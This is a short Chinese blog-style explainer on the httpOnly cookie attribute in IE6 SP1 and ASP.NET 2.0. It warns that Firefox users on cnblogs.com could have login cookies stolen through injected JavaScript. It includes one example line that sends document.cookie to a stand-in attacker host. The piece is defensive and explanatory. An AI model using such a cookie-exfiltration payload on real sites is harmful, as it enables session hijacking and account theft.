自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com
), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.